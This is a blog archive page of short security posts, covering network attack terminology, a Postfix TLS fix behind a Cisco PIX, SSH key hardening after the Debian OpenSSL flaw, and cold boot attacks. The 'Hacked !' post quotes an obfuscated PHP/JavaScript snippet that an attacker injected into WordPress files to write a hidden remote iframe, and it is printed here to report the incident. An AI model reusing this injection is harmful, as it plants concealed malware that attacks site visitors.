Category Archives: Security

About network attacks…

I will post later a few examples of network attacks. But, before that, I want to clarify what I call a network attack.

I see many people making a confusion about the use of this term, even among professional or specialized journalists. Whenever there is a hack originated from the Internet, they call it a network attack.

This is a true misunderstanding of the reality. We will see why when a website is hacked, or a domain name spoofed, we can’t call it a network attack.

First of all, we need to have a good picture of the way the protocols of the Internet are organized.

We can visualize it with the OSI concept, whose scheme is below :

This model offers 7 layers to contain all protocols involved in the data transportation, from the system or the program of a local computer to its peer on the other side of the network.

Continue reading →

Postfix : TLS not working outside my network

As I just finished setting TLS and SASL to secure the access to my Postfix server, I realized that it was working only from inside my network.

What I got from my lan :

$ telnet mars 25
Trying 192.168.222.10...
Connected to phocean.net.
Connected to phocean.net.
Escape character is '^]'.
220 phocean.net ESMTP Postfix (Debian/GNU)
220 phocean.net ESMTP Postfix (Debian/GNU)
ehlo phocean.net
ehlo phocean.net
250-phocean.net
250-phocean.net
250-PIPELINING
250-SIZE 200000000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH NTLM DIGEST-MD5 CRAM-MD5
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN

I shows well that the TLS handshake is initiated.

But from this outside, I just got this weired thing :

$ telnet phocean.net 25

$ telnet phocean.net 25
Trying 81.64.194.119...
Connected to phocean.net.
Connected to phocean.net.
Escape character is '^]'.
220 **********************************************
ehlo phocean.net
ehlo phocean.net
502 5.5.2 Error: command not recognized


Of course, the firewall, a Cisco Pix one, was properly set to redirect port 25 UDP/TCP to my server.


However, I soon focused my effort on this equipment. I considered a while that the cause could be some filtering from my provider, but most probably, the problem came from the Pix.


That was not difficult to figure out : it had some protocol inspector activated for SMTP :


$ sh ru
[...]
fixup protocol smtp 25
[...]


Just after :


> no fixup protocol smtp 25


… it started to work perfectly well !!!


The engine for the SMTP protocol could not recognize the TLS handshake, considered that the SMTP session as not valid and therefore blocked it !


I can deactivate it without any fear as my Postfix server is already pretty well secured, or at least configured to reject any weired SMTP dialog.

Hacked !

This blog got hacked yesterday.

It looks like some spammer managed to inject some PHP code into almost all *.php files of WordPress.
It was not just like the classic SQL injection that is usually used to post some malicious post.

The following code was added :

<?php echo '<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>';?>

Continue reading →

SSH/SSL patching and hardening

My OpenSSL-based daemons are back up !

These commands should provide quite a good security level for a while (at least again non super-power governmental organizations) :

$ ssh-keygen -t rsa -b 4096
# openssl genrsa -aes256 -out secret.key 4096

I am the only person to use the server, so I don’t have any scallability issue. :)

Just to enforce the ssh configuration, I added these two line in sshd_config :

Protocol 2
HostKeyAlgorithms ssh-rsa

The SSL/SSH disaster

Due to the recent security hole discovered in Debian, which has also concerned various distributions – of course including Ubuntu – for 2 years, I simply closed all my SSH and OpenVPN accesses.

I have had no time so far to check all the keys on my server. I prefer to stay on the safe side, though I have some reason to believe that my keys might not be so vulnerable : I generated them a long time ago, maybe before the Debian maintainer sad mistake.

It is going to be pretty easy now, for those who are motivated, to get access to the ssh server running keys generated during the 2 last years…

I recommend this article which summarize pretty well the situation. You may also use this tool, which checks if your keys are vulnerable :

$  perl dowkd.pl file ~/.ssh/*.pub

It find it funny to think that I chose to use certificates for security (avoiding brute force attacks).
What’s less funny is the pure disaster for the reputation of Debian.

I already noticed in the past that some companies switched their servers from Debian to Red Hat because of such security problems. They claimed about some security holes being patch much too slowly and about the lack of official support to rely on in such a crisis.
This kind of news is not going to enforce trust from companies.

I myself will think twice in the future about what system to use when I design my networks.

Cold boot attack, not a threat to Full disk encryption (FDE)

Since the new cold boot attack hack is on the news, touching most of the software encryption solutions, I have wondered if it had any chance to concern also hardware encryption.

Hardware encryption is provided by a few laptop makers, generally on high-range an business models.

It has much less performance impact than software encryption, and protect the data independently from your system configuration and its partitions.

Full disk encryption is the so called hardware encryption technology used by Lenovo on my Thinkpad.

Continue reading →